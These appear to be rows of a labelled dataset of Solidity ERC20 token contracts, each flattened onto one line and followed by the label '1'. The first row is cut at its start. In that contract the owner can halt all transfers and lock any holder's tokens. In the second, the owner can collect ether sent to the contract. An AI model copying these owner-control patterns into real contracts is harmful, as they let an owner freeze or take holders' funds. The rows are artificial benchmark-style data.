amount); event SetFlag(bool flag); constructor() public { transferFlag = true; name = "sniperyao"; decimals = 4; symbol = "sy"; version = "V1.0"; totalSupply = 2100000000 * 10 ** decimals; owner = msg.sender; deployTime = block.timestamp; balances[msg.sender] = totalSupply; } modifier canTransfer() { require(transferFlag); _; } function name()constant public returns (string token_name){ return name; } function symbol() constant public returns (string _symbol){ return symbol; } function decimals() constant public returns (uint256 _decimals){ return decimals; } function totalSupply() constant public returns (uint256 _totalSupply){ return totalSupply; } function setTransferFlag(bool transfer_flag) public onlyOwner{ transferFlag = transfer_flag; emit SetFlag(transferFlag); } function tokenLock(address _userAddress, uint256 _amount) public onlyOwner { require(balanceOf(_userAddress) >= _amount); userLockedTokens[_userAddress] = userLockedTokens[_userAddress].add(_amount); emit Lock(_userAddress, _amount); } function tokenUnlock(address _userAddress, uint256 _amount) public onlyOwner { require(userLockedTokens[_userAddress] >= _amount); userLockedTokens[_userAddress] = userLockedTokens[_userAddress].sub(_amount); emit Unlock(_userAddress, _amount); } function balanceOf(address _owner) view public returns (uint256 balance) { return balances[_owner] - userLockedTokens[_owner]; } function transfer(address _to, uint256 _value) public canTransfer returns (bool success) { require(balanceOf(msg.sender) >= _value); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } function transferFrom(address _from, address _to, uint256 _value) public canTransfer returns (bool success) { require(balanceOf(_from) >= _value && allowed[_from][msg.sender] >= _value); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); return true; } function approve(address _spender, uint256 _value) public returns (bool success) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) constant public returns (uint256 remaining) { return allowed[_owner][_spender]; } }
1
pragma solidity ^0.4.13; contract ERC20Basic { uint256 public totalSupply; function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); function Ownable() public { owner = msg.sender; } modifier onlyOwner() { require(msg.sender == owner); _; } function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); OwnershipTransferred(owner, newOwner); owner = newOwner; } } library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract MHCBC is ERC20,Ownable{ using SafeMath for uint256; string public constant name="medical health care block chain"; string public symbol="MHCBC"; string public constant version = "1.0"; uint256 public constant decimals = 18; uint256 public totalSupply; uint256 public constant MAX_SUPPLY=2700000000*10**decimals; mapping(address => uint256) balances; mapping (address => mapping (address => uint256)) allowed; event GetETH(address indexed _from, uint256 _value); function MHCBC(){ totalSupply=MAX_SUPPLY; balances[msg.sender] = MAX_SUPPLY; Transfer(0x0, msg.sender, MAX_SUPPLY); } function () payable external { GetETH(msg.sender,msg.value); } function etherProceeds() external onlyOwner { if(!msg.sender.send(this.balance)) revert(); } function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to, _value); return true; } function balanceOf(address _owner) public constant returns (uint256 balance) { return balances[_owner]; } function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); uint256 _allowance = allowed[_from][msg.sender]; balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = _allowance.sub(_value); Transfer(_from, _to, _value); return true; } function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) public constant returns (uint256 remaining) { return allowed[_owner][_spender]; } }
1